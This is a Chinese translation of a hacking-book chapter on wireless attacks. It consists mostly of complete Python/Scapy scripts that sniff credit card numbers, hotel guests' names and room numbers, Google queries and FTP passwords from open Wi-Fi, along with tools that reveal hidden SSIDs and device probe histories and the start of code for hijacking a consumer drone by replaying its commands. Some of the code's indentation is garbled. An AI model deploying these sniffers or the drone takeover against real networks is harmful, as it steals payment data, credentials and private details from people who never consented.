连载介绍信息:http://zone.wooyun.org/content/23138
原作者：Chris Katsaropoulos
第一译者：@草帽小子-DJ
第二译者：crown丶prince

第五章：无线攻击

本章内容：

1.嗅探无线网络的私人信息
2.监听请求网络和识别隐藏的无线网络
3.控制无线无人机
4.确认Firesheep的使用
5.潜入蓝牙设备
6.利用蓝牙漏洞进行渗透

知识的增长并不是和树一样，种植一棵树，你只要把它放进地里，盖上点土，定期为他浇水就行。知识的增长却伴随着时间，工作和长期的努力。除此之外，不能用任何手段获得知识。

—美国拳击顶级大师，Ed Parker

简介：无线安全和冰人

2007年5月，美国特勤局逮捕了一名无线黑客Max Ray Butler，也被称为冰人。Mr. Butler通过一个网站销售了成千上万的信用卡账户信息。但是他是怎样收集这些私人信息的？嗅探未加密的无线网络连接被证明是他获取信用卡账户信息的方法之一。它使用假身份租用酒店房间和公寓，然后使用大功率的天线拦截酒店和附近公寓的无线接入点的通讯，以捕捉客人的私人信息。很多时候，媒体专家分类这种攻击为"精细的和复杂的"。这样的描述是危险的，因为我们可以用短的Python脚本来执行这种攻击。正如下面章节您将看到的，我们可以用不到25行代码嗅探信用卡账户信息，但是在开始之前，我们应确保我们的环境设置正确。

设置你的无线攻击环境

在下面的章节中，我们将编写代码嗅探无线网络流量并发送802.11数据帧。我们将使用一个增益High Gain USB无线网络适配器和网络放大器来创建和测试本章脚本。在BackTrack5中的默认网卡驱动允许用户进入混杂模式并发送原始数据帧。此外，它还包含一个外部天线连接，能够让我们附加大功率天线。

用Scapy测试捕获无线网络

将无线网卡设置到混杂模式，我们使用aircrack-ng工具套件，使用iwconfig命令列出我们的无线网络适配器。接下来，我们运行命令airmon-ng start wlan0开启混杂模式。这将创建一个新的mon适配器。

```
attacker# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
```

```
attacker# airmon-ng start wlan0
Interface    Chipset     Driver
wlan0     Ralink    RT2870/3070    rt2800usb - [phy0]
                        (monitor mode enabled on mon0)
```

让我们快速测试，我们可以捕获无线网络流量在将网卡设置为混杂模式之后。注意，我们设置新创建的监控接口mon0到我们的conf.iface。监听到每个数据包，脚本将运行ptkPrint()函数。如果数据包包含802.11标识，802.11响应，TCP数据包或DNS流量程序将打印一个消息。

```
from scapy.all import *

def pktPrint(pkt):
if pkt.haslayer(Dot11Beacon):
print('[+] Detected 802.11 Beacon Frame')
elif pkt.haslayer(Dot11ProbeReq):
print('[+] Detected 802.11 Probe Request Frame')
elif pkt.haslayer(TCP):
print('[+] Detected a TCP Packet')
elif pkt.haslayer(DNS):
print('[+] Detected a DNS Packet')
conf.iface = 'mon0'
sniff(prn=pktPrint)
```

运行脚本后，我们可以看到一些流量。发现的流量包括802.11寻找网络的探测请求，802.11指示帧流量，和DNS，TCP数据包。从这一点上我们看到我们的网卡工作了。

安装Python的蓝牙包

在本章我们将覆盖一些蓝牙攻击。为了编写Python的蓝牙脚本，我们将利用Python绑定到LInux Bluez的应用程序接口和obexftp API。使用apt-get install来安装。

```
attacker# sudo apt-get install python-bluez bluetooth python-obexftp
Reading package lists... Done
Building dependency tree
Reading state information... Done
<..SNIPPED..>
Unpacking bluetooth (from .../bluetooth_4.60-0ubuntu8_all.deb)
Selecting previously deselected package python-bluez.
Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb)
Setting up bluetooth (4.60-0ubuntu8) ...
Setting up python-bluez (0.18-1) ...
Processing triggers for python-central .
```

此外，我们必须获取一个蓝牙设备。最新的Cambridge Silicon Radio (CSR)芯片组在LInux下工作的很好。本章节中的脚本，我们将使用SENA Parani UD100 USB蓝牙适配器，为了测试操作系统是否识别该设备，运行hciconfig配置命令，这将打印出蓝牙设备的详细信息。

```
attacker# hciconfig
hci0: Type: BR/EDR Bus: USB
BD Address: 00:40:12:01:01:00 ACL MTU: 8192:128
UP RUNNING PSCAN
RX bytes:801 acl:0 sco:0 events:32 errors:0
TX bytes:400 acl:0 sco:0 commands:32 errors:0
```

在本章中，我们将伪造和截取蓝牙帧。我会在后面的章节中在此提到，但是知道BackTrack5 r1中有一个小错误，它缺乏一个重要的内核模块发送原始的蓝牙数据包，因为这个原因，你必须升级你的系统或内核到BackTrack5 r2。

下面的章节将很精彩。我们将嗅探应用卡信息，用户证书，远程操纵无人机，辨认无线黑客，追踪并渗透蓝牙设备。请经常检查有关监听无线网络和蓝牙的法律信息。

绵羊墙---被动的监听无线网络的秘密

自从2011年，绵羊墙已经成为了DEFCON安全会议的一部分了。被动的，团队监听用户登陆的邮件，网站或者其他的网络服务，而没有任何的保护和加密。当团队检测到任何的凭证，他们将把凭证显示道会议楼的大屏幕上。近年来团队增加了一个项目叫Peekaboo，显示出无线通讯流量的图像。尽管是善意的，团队很好的演示了黑客是怎样捕获到相同的信息的。在下面的章节中，我们将创建几个攻击从空气中偷有趣的信息。

使用Python的正则表达式嗅探信用卡

在嗅探无线网络的信用卡信息之前，快速的回顾正则表达式是很有用的。正则表达式提供了匹配特定文本中的字符串的方法。Python提供了关于正则表达式的模块(re)。

(正则表达式具体规则略)

攻击者可以使用正则表达式来匹配信用卡号码。为了简化我们的脚本，我们将使用三大信用卡：Visa, MasterCard, 和American Express。如果你想了解更多的关于编写信用卡的正则表达式的知识，可以访问包含其他厂商的占则表达式的网站：http://www.regular-expressions.info/creditcard.html。美国运通信用卡以34或者37开头共15位数字。让我们编写一个小函数检查字符串确认它是否包含美国运通信用卡号。如果包含，我们将打印该信息在屏幕上，注意下面的正则表达式，它确保信用卡必须以3开头，后面跟随着4或者7，接下来正则表达式匹配13位数字确保共15位长。

```
import re
def findCreditCard(raw):
americaRE= re.findall("3[47][0-9]{13}", raw)
if americaRE:
print("[+] Found American Express Card: "+americaRE[0])

def main():
tests = []
tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \$2600')
for test in tests:
findCreditCard(test)
if __name__ == "__main__":
main()
```

运行我们的测试程序，我们看到它正确的找到了信用卡号码。

```
attacher$ python americanExpressTest.py
[+] Found American Express Card: 378282246310005
```

现在，探究正则表达式必须找到MasterCards和Visa的信用卡号。MasterCards的信用卡号以51或者55开头共16位数。Visa的信用卡号以4开头，并且13位或者16位数字。让我们扩展我们的函数找到MasterCard和Visa信用卡号。注意，MasterCard信用卡号正则表达式匹配5后面跟着1或者5接着14位共16位。Visa正则表达式以4开头后面跟着12更多的数，我们将在接受0或者3位数来确保13位或者16位数。

```
def findCreditCard(pkt):
    raw = pkt.sprintf('%Raw.load%')
    americaRE = re.findall('3[47][0-9]{13}', raw)
    masterRE = re.findall('5[1-5][0-9]{14}', raw)
    visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
    if americaRE:
        print('[+] Found American Express Card: ' + americaRE[0])
    if masterRE:
        print('[+] Found MasterCard Card: ' + masterRE[0])
    if visaRE:
        print('[+] Found Visa Card: ' + visaRE[0])
```

现在我们必须从嗅探到的无线数据包中匹配正则表达式。请记住我们使用混杂模式嗅探的目的，因为它允许我们观察不管是不是给我们的数据包。为了解析我们截获的无线数据包，我们使用Scapy库。注意，我们使用sniff()函数，sniff()函数将每一个经过的数据包作为参数传给findCreditCard()函数。不到25行的Python代码，我们创建了一个偷取信用卡信息的小程序。

```
# coding=UTF-8
import re
import optparse
from scapy.all import *

def findCreditCard(pkt):
    raw = pkt.sprintf('%Raw.load%')
    americaRE = re.findall('3[47][0-9]{13}', raw)
    masterRE = re.findall('5[1-5][0-9]{14}', raw)
    visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
    if americaRE:
        print('[+] Found American Express Card: ' + americaRE[0])
    if masterRE:
        print('[+] Found MasterCard Card: ' + masterRE[0])
    if visaRE:
        print('[+] Found Visa Card: ' + visaRE[0])
```

```
def main():
    parser = optparse.OptionParser('usage % prog -i<interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface
    to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface
    try:
        print('[*] Starting Credit Card Sniffer.')
        sniff(filter='tcp', prn=findCreditCard, store=0)
    except KeyboardInterrupt:
        exit(0)
if __name__ == '__main__':
    main()
```

显然，我们不打算盗取任何人的信用卡数据。事实上，这个攻击的无线黑客小偷被关了20年。但是
希望你意识到这种攻击相对比较交单没有一般人为的那么复杂。在下一节中，我们将演示一个单独的
情景，我们将攻击一个未加密的无线网络并盗取私人信息。

嗅探旅馆客人

大多数旅馆提供公开的无线网络。通常这些网络没有加密也缺乏任何企业忍着或者加密控制。本节将
验证，及行Python代码就能渗透利用这个情况，导致灾难性的公共信息泄露。

最近，我呆在一家提供无线连接的旅馆当客人。当连接到无线网络之后，我的浏览器指向一个网页要
求登陆这个网络。网络凭证包含我的姓名和房间号，提供此信息后，我的浏览器发布了一个未加密的
HTTP页面返回到服务器接受认证cookie。检查这个初始的HTTP提交，显示了一些有趣的东西。

我注意到一个字符串PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_NUMBER=
337。

明文传输到旅馆服务器的包含我的姓名和房间号码。服务器没有试图保护这些信息，我的浏览器简单
的发送这些透明的信息。对于这个特殊的酒店，客户的姓名和房间号被用来点餐，按摩服务甚至是购
买礼品，所以你可以想到酒店的客户不想黑客得到他们的私人信息。

```
POST /common_ip_cgi/hn_seachange.cgi HTTP/1.1
Host: 10.10.13.37
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1)
AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3
Content-Length: 128
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Origin:http://10.10.10.1
DNT: 1
Referer:http://10.10.10.1/common_ip_cgi/hn_seachange.cgi
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive
```

```
SESSION_ID= deadbeef123456789abcdef1234567890 &RETURN_
MODE=4&VALIDATION_FLAG=1&PROVIDED_LAST_NAME=OCONNOR&PROVIDED_ROOM_
NUMBER=1337
```

我们现在可以使用Python从酒店用户哪里捕获信息。开始是一个很简单的Python嗅探器。首先，我们将确认我们捕获流量的接口，接着，我们用sniff()函数嗅探监听流量，注意这个函数过滤，只监听TCP流量数据包，我们将函数命令为findGuest()。

```
conf.iface = "mon0"
try:
print "[*] Starting Hotel Guest Sniffer."
sniff(filter="tcp", prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0)
```

当findGuest函数接收到数据包，它将确认拦截的数据包是否包含任何私人信息。首先它复制原始数据到变量raw中，然后我们建立一个正则表达式来解析姓名和客人的房间号码。注意我们的正则表达式接受任何以LAST_NAME开始的字符串，和一个终止符号&。正则表达式为了酒店号码捕获任何以ROOM_NUMBER开头的字符串。

```
def findGuest(pkt):
raw = pkt.sprintf("%Raw.load%")
name=re.findall("(?i)LAST_NAME=(.*)&",raw)
room=re.findall("(?i)ROOM_NUMBER=(.*)'",raw)
if name:
print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0]))
```

将所有的放在一起，我们现在有一个无线网络嗅探器捕获任何连接到这个酒店无线网络上的客户的姓名和房间号。请注意，为了有嗅探流量和分析数据包的能力，我们需要导入Scapy库。

```
# coding=UTF-8
import optparse
from scapy.all import *

def findGuest(pkt):
raw = pkt.sprintf("%Raw.load%")
name=re.findall("(?i)LAST_NAME=(.*)&",raw)
room=re.findall("(?i)ROOM_NUMBER=(.*)'",raw)
if name:
print("[+] Found Hotel Guest "+str(name[0]) + ", Room #" + str(room[0]))

def main():
parser = optparse.OptionParser('usage %prog -i<interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface
to listen on')
(options, args) = parser.parse_args()
```

```
                if options.interface == None:
                        print(parser.usage)
                                exit(0)
                                else:
                        conf.iface = options.interface
                                try:
                print('[*] Starting Hotel Guest Sniffer.')
                sniff(filter='tcp', prn=findGuest, store=0)
                        except KeyboardInterrupt:
                                exit(0)
            if __name__ == '__main__':
                                main()
```

运行我们的酒店嗅探程序，我们可以看到黑客是怎样确认酒店住了那些人的。

```
attacker# python hotelSniff.py -i wlan0
   [*] Starting Hotel Guest Sniffer.
 [+] Found Hotel Guest MOORE, Room #1337
[+] Found Hotel Guest VASKOVICH, Room #1984
[+] Found Hotel Guest BAGGETT, Room #43434343
```

我应该有足够的强调，收集个人信息已经违反了一些州，国家的法律。在下一节，我们将进一步扩大
我们嗅探无线网络的能力，通过解析Google搜索。

构建Google无线搜索记录器

你可能注意到Google搜索引擎提供接近即时的反馈，当你在搜索框中输入时。取决于你连接网络的
速度，你的浏览器会发送一个HTTP GET请求几乎在你每输入一个字符到搜索框中时。检查下面到G
oogle的HTTP GET请求，当我搜索字符串"what is the meaning of life?"时，请注意，搜索以
q=我的字符串开始，然后以&结束pq=跟着以前的搜索。

```
                                        GET
/s?hl=en&cp=27&gs_id=58&xhr=t&q=what%20is%20the%20meaning%20of%20life&pq=the+number+4
                                2&<..SNIPPED..> HTTP/1.1
                                  Host: www.google.com
              User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)
                AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1
                                  Safari/534.51.22
                                    <..SNIPPED..>

                q=              Query, what was typed in the search box
         pq=             Previous query, the query prior to the current search
  hl=              Language, default en[glish] defaults, but try xx-hacker for fun
                             as_epq=          Exact phrase
    as_filetype=       File format, restrict to a specific file type such as .zip
          as_sitesearch=     Restrict to a specific site such as www.2600.com
```

有了Google搜索引擎的知识在手，让我们快速构建一个无线数据包嗅探器，实时打印我们拦截到的

他们搜索的东西。这一次我们将使用函数findGoogle()处理嗅探的数据包。这里我们将复制数据包的内容数据到payload变量，如果这个payload包含HTTP GET我们就能构建一个正则表达式找到当前Google的搜索字符串。最后我们将清除结果字符串，HTTP URL不能包含任何空格字符。为了避免这个问题，我们的浏览器将编码空格为+或者%20，在URL中。为了正确的转换这些信息，我们必须解码任何+或者%20为空格。

```
def findGoogle(pkt):
  if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
    if 'GET' in payload:
     if 'google' in payload:
r = re.findall(r'(?i)\&q=(.*?)\&', payload)
                if r:
                  search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ').replace('%2
                0', ' ')
              print('[+] Searched For: ' + search)
```

将我们整个Google嗅探器的脚本放在一起，我们现在可以看到他们搜索过的Google内容。请注意，我们现在可以使用sniff()函数过滤只要TCP 80端口的流量。虽然Google提供发送在443端口HTTPS的流量的能力，捕获这个流量事没有用的，因为是加密的。因此我们只捕获80端口的HTTP流量。

```
# coding=UTF-8
import optparse
from scapy.all import *

def findGoogle(pkt):
  if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
    if 'GET' in payload:
     if 'google' in payload:
r = re.findall(r'(?i)\&q=(.*?)\&', payload)
                if r:
                  search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ').replace('%2
                0', ' ')
              print('[+] Searched For: ' + search)

def main():
    parser = optparse.OptionParser('usage %prog -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface
                to listen on')
            (options, args) = parser.parse_args()
              if options.interface == None:
                print parser.usage
                  exit(0)
                else:
                  try:
                conf.iface = options.interface
```

```
        print('[*] Starting Google Sniffer.')
    sniff(filter='tcp port 80', prn=findGoogle)
        except KeyboardInterrupt:
                exit(0)

if __name__ == '__main__':
        main()
```

在使用未加密的网络连接中运行我们的脚本，我们可以看到别人的搜索内容。拦截Google流量可能有点令人为难，下一节，拦截用户的凭据的手段更加能证明一个组织的安全局势。

```
attacker# python googleSniff.py -i mon0
     [*] Starting Google Sniffer.
               [+] W
             [+] What
           [+] What is
       [+] What is the mean
[+] What is the meaning of life?
```

Google URL搜索参数

Google URL搜索参数提供了许多有价值的额外信息，这些信息对建立你的Google搜索记录器很有用。解析出的查询，先前查询，语言，特定的短语搜索文本类型或者受限制的站点都可以添加到我们的记录器。更多信息请到：http://www.oogle.com/cse/docs/resultsxml.html

嗅探FTP认证

FTP协议缺乏任何的加密算法来保护用户认证。黑客能轻松的拦截这些任何当受害者在这种为加密的网络。看下面的tcpdump显示我们拦截的用户凭证。FTP协议通过明文交换凭证。

```
          attacker# tcpdump -A -i mon0 'tcp port 21'
           E..(..@.@.q..._..........R.=.|.P.9.....
20:54:58.388129 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
     Flags [P.], seq 1:17, ack 63, win 14600, length 16
      E..8..@.@.q..._..........R.=.|.P.9.....USER root
20:54:58.388933 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
          Flags [.], ack 112, win 14600, length 0
           E..(..@.@.q..._..........R.=.|.P.9.....
20:55:00.732327 IP 192.168.95.128.42653 > 192.168.211.1.ftp:
    Flags [P.], seq 17:33, ack 112, win 14600, length 16
     E..8..@.@.q..._..........R.=.|.P.9.....PASS secret
```

为了拦截这些凭证，我们寻找两个特殊的字符串。第一个字符串包含USER接着就是用户名，第二个字符串是PASS接着就是密码。我们在tcpdump的数据中看到这些凭证。我们将设计两个正则表达式来捕获这些信息。我们也将从数据包中剥离IP地址。不知道服务器的IP地址用户名和密码是毫无价值的。

```
from scapy.all import *

def ftpSniff(pkt):
    dest = pkt.getlayer(IP).dst
    raw = pkt.sprintf('%Raw.load%')
    user = re.findall('(?i)USER (.*)', raw)
    pswd = re.findall('(?i)PASS (.*)', raw)
    if user:
        print('[*] Detected FTP Login to ' + str(dest))
        print('[+] User account: ' + str(user[0]))
    elif pswd:
        print('[+] Password: ' + str(pswd[0]))
```

将所有的脚本放在一起，我们只嗅探21端口的TCP流量。我们还添加一些选项来选择嗅探器使用的网络适配器。运行这个脚本允许我们拦截FTP登陆凭证。

```
# coding=UTF-8
import optparse
from scapy.all import *

def ftpSniff(pkt):
    dest = pkt.getlayer(IP).dst
    raw = pkt.sprintf('%Raw.load%')
    user = re.findall('(?i)USER (.*)', raw)
    pswd = re.findall('(?i)PASS (.*)', raw)
    if user:
        print('[*] Detected FTP Login to ' + str(dest))
        print('[+] User account: ' + str(user[0]))
    elif pswd:
        print('[+] Password: ' + str(pswd[0]))

def main():
    parser = optparse.OptionParser('usage %prog -i<interface>')
    parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface
    try:
        sniff(filter='tcp port 21', prn=ftpSniff)
    except KeyboardInterrupt:
        exit(0)
if __name__ == '__main__':
    main()
```

运行我们的脚本，我们检测到一个登陆的FTP服务器，并显示用户的凭证和登陆的服务器。我们现在

有一个少于30行Python代码的FTP凭证嗅探器。当用户的证书可以为我们提供对网络的访问，在下一节中，我们将使用无线监听探测用户的历史记录。

```
attacker:~# python ftp-sniff.py -i mon0
[*] Detected FTP Login to 192.168.211.1
[+] User account: root\r\n
[+] Password: secret\r\n
```

你的笔记本去过哪？Python解答

几年前我教了一个无无线安全的课程，为了让学生听讲我关闭了房间里的无线网络，也是为了防止他们攻击任何的受害者。我以无线网络扫描的演示作为课程的开始，发现了一些有趣的东西，在房间里探测到几个客户端试图连接的首选网络。一个特别的学生刚从洛杉矶回来，他的电脑探测到LAX_Wireless和Hooters_WiFi，我开了一个玩笑，问学生在Hooters Restaurant的停留是否满意。他很惊讶，我怎么知道这些信息？监听802.11探测请求!

为了提供一个无缝的连接，你的电脑和手机经常保持一个首选的网络列表，其中包括你先前成功连接过的无线网络名称。当你的电脑开机或者网络断开后，你的电脑经常发送802.11探测请求搜索列表中的每一个网络名称。

让我们快速的编写一个检测802.11网络请求的工具。在这个例子中，我们称呼我们处理数据包的函数为sniffProbe()。注意，我们将整理出802.11探测请求通过检测数据包是否haslayer(Dot11ProbeReq)。如果请求包含新的网络名称我们将打印他们在屏幕上。

```
from scapy.all import *

interface = 'mon0'
probeReqs = []

def sniffProbe(p):
if p.haslayer(Dot11ProbeReq):
netName = p.getlayer(Dot11ProbeReq).info
if netName not in probeReqs:
probeReqs.append(netName)
print('[+] Detected New Probe Request: ' + netName)
sniff(iface=interface, prn=sniffProbe)
```

现在我们可以运行我们的脚本看看来自附近电脑或者手机的探测请求。这允许我们看到客户机的首选网络列表。

```
attacker:~# python sniffProbes.py
[+] Detected New Probe Request: LAX_Wireless
[+] Detected New Probe Request: Hooters_WiFi
[+] Detected New Probe Request: Phase_2_Consulting
[+] Detected New Probe Request: McDougall_Pizza
```

找到隐藏的802.11网络标识

虽然大多数网络公开他们的网络名称(SSID)，一些无线网络还是使用隐藏的SSID防止他们的网络名称别发现。802.11标识帧中的字段通常包含网络名称。在隐藏的网络中，接入点的这个字段为空白，检测一个隐藏的网络时相当容易的。但是我们只能搜索到空白字段的802.11标识帧。在下面的例子中，我们将寻找这些帧并打印出这些接入点的MAC地址。

```
def sniffDot11(p):
    if p.haslayer(Dot11Beacon):
        if p.getlayer(Dot11Beacon).info == '':
            addr2 = p.getlayer(Dot11).addr2
            if addr2 not in hiddenNets:
                print('[-] Detected Hidden SSID: with MAC:' + addr2)
```

没有隐藏的802.11网络

当接入点离开断开隐藏的网络，它将发送名称在探测响应中。一个探测响应通常发生在客户端发送的探测请求。为了发现隐藏的名字，我们必须等待一个探测响应匹配我们802.11标识帧中的MAC地址。我们将两个小的数组加到我们的Python脚本一起使用。首先，hiddenNets，跟踪我们看到的隐藏网络的MAC地址。第二，unhiddenNets，追踪已经公开的网络，当检测到一个空名称的802.11标识帧时，我们将他家到我们的隐藏网络数组。当我们检测到802.11探测响应时，我们将抽取网络名称。我们可以检查hiddenNets数组看看是否包含这些值，确保unhiddenNets不包含这些值。如果情况属实，我们可以解析网络名称并打印在屏幕上。

```
# coding=UTF-8
import sys
from scapy.all import *

interface = 'mon0'
hiddenNets = []
unhiddenNets = []

def sniffDot11(p):
    if p.haslayer(Dot11ProbeResp):
        addr2 = p.getlayer(Dot11).addr2
        if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):
            netName = p.getlayer(Dot11ProbeResp).info
            print '[+] Decloaked Hidden SSID: ' + netName + ' for MAC: ' + addr2
            unhiddenNets.append(addr2)
    if p.haslayer(Dot11Beacon):
        if p.getlayer(Dot11Beacon).info == '':
            addr2 = p.getlayer(Dot11).addr2
            if addr2 not in hiddenNets:
                print '[-] Detected Hidden SSID: ' + 'with MAC:' + addr2
                hiddenNets.append(addr2)
sniff(iface=interface, prn=sniffDot11)
```

运行我们的脚本，它正确的识别了一些隐藏的网络和公开的网络，不到30行代码，他令人兴奋

了！在下一节中，我们将转换积极的无线攻击，换就话说就是伪造数据包接管无人机。

```
attacker:~# python sniffHidden.py
[-] Detected Hidden SSID with MAC: 00:DE:AD:BE:EF:01
[+] Decloaked Hidden SSID: Secret-Net for MAC: 00:DE:AD:BE:EF:01
```

用Python拦截和监视无人机

在2009年的夏天，美军在伊拉克注意到一些有趣的事。当美军收集叛乱者的笔记本时，美军发现他们的电脑上有美军的无人机视频。笔记本显示美军的无人机被叛乱者劫持了数百个小时。经过进一步的调查，情报人员发现叛乱者使用价值26美元的软件SkyGrabber拦截了无人机。更令他们惊讶的是，空军的无人机程序发送到地面控制中心的视频没有加密。SkyGrabber软件通常用来拦截未加密的卫星电视数据。甚至不需要任何配置就可以拦截美军无人机视频。

攻击美军的无人机违反了美国的爱国者法案，所以让我们找一些不违法的目标攻击。Parrot Ar.Drone的无人机是一个良好的目标，一个开源的基于Linux的无人机，它允许iPhone/Ipad应用程序通过未加密的WIFI控制无人机。价格300美元，一个业余爱好者可以从http://ardrone.parrot.com/购买无人机。用我们已经知道的工具，我们可以控制我们的目标无人机。

拦截流量，检测协议

让我们先了解无人机和iPhone如何通讯。将无线适配器设置到混杂模式，我们要学习无人机和iPhone之间如何通过WIFI网络建立连接。阅读无人机知道之后，我们知道MAC过滤是唯一保护连接的安全机制。只有配对的iPhone才能对无人机发送指令。为了接管无人机，我们需要学习指令的协议，然后重新发送这些指令。

首先，我们将我们的无线适配器设置为混杂模式监听流量，一个快速的tcpdump显示流量来自无人机和iPhone的UDP 5555端口。快速分析后，我们可以推测这流量包含了无人机视频下载，因为有大量的数据朝同一方向。相反，导航命令似乎从直接从iPhone的UDP 5556端口发送。

```
attacker# airmon-ng start wlan0
  Interface   Chipset   Driver
wlan0   Ralink   RT2870/3070   rt2800usb - [phy0]
                (monitor mode enabled on mon0)
attacker# tcpdump-nn-i mon0
16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit 14]
    IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106
16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit 14]
    IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64
16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit 14]
    IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824
```

知道iPhone通过UDP 5556端口发送指令控制无人机，我们建立一个小的Python脚本来解析导航命令。请注意，我们的脚本打印原始的UDP 5556的导航数据。

```
from scapy.all import *

NAVPORT = 5556
```

```
def printPkt(pkt):
if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
raw = pkt.sprintf('%Raw.load%')
print raw
conf.iface = 'mon0'
sniff(prn=printPkt)
```

运行这个脚本给我们看看无人机的指令协议。我们看到协议使用的语法是：AT*CMD*=SEQUEN
E_NUMBER,VALUE,[VALUE{3}]。记录很长时间的流量，我们学会了三个简单的指令，这将会被
我们的攻击所利用。命令AT*REF=$SEQ,290717696\r是发送无人家降落的命令。其次，命令A
T*REF=$SEQ,290717952\r发送一个紧急降落的命令，立即切断引擎。命令AT*REF=SEQ, 2
0718208\r发送给无人机一个起飞指令。最后，我们可以用命令AT*PCMD=SEQ, Left_Right_T
t, Front_Back_Tilt, Vertical_Speed,Angular_Speed\r来控制无人机。我们现在知道足够的指
令来攻击无人机了。

```
attacker# python uav-sniff.py
'AT*REF=11543,290718208\r'
'AT*PCMD=11542,1,-1364309249,988654145,1065353216,0\r'
'AT*REF=11543,290718208\r'
'AT*PCMD=11544,1,-1358634437,993342234,1065353216,0\rAT*PCMD=11545,1
1355121202,998132864,1065353216,0\r'
'AT*REF=11546,290718208\r'
<..SNIPPED..>
```

我们开始创建一个Python类interceptThread，这个类用于储存我们攻击的字段。这些字段包含在
刚才截获的数据包里，具体的无人机序列号，和最后一个描述无人机流量是否被截获的布尔值。初始
化这些字段后，我们将创建两个函数run()和interceptPkt()，run()函数开始嗅探过滤的5556 UD
流量，并触发interceptPkt()函数，当拦截到无人机流量，布尔值变为真，接下来，它将从当前记录
的无人机控制流量中玻璃序列号。

```
class interceptThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.curPkt = None
self.seq = 0
self.foundUAV = False
def run(self):
sniff(prn=self.interceptPkt, filter='udp port 5556')
def interceptPkt(self, pkt):
if self.foundUAV == False:
print('[*] UAV Found.')
self.foundUAV = True
self.curPkt = pkt
raw = pkt.sprintf('%Raw.load%')
try:
self.seq = int(raw.split(',')[0].split('=')[-1]) + 5
except:
self.seq = 0
```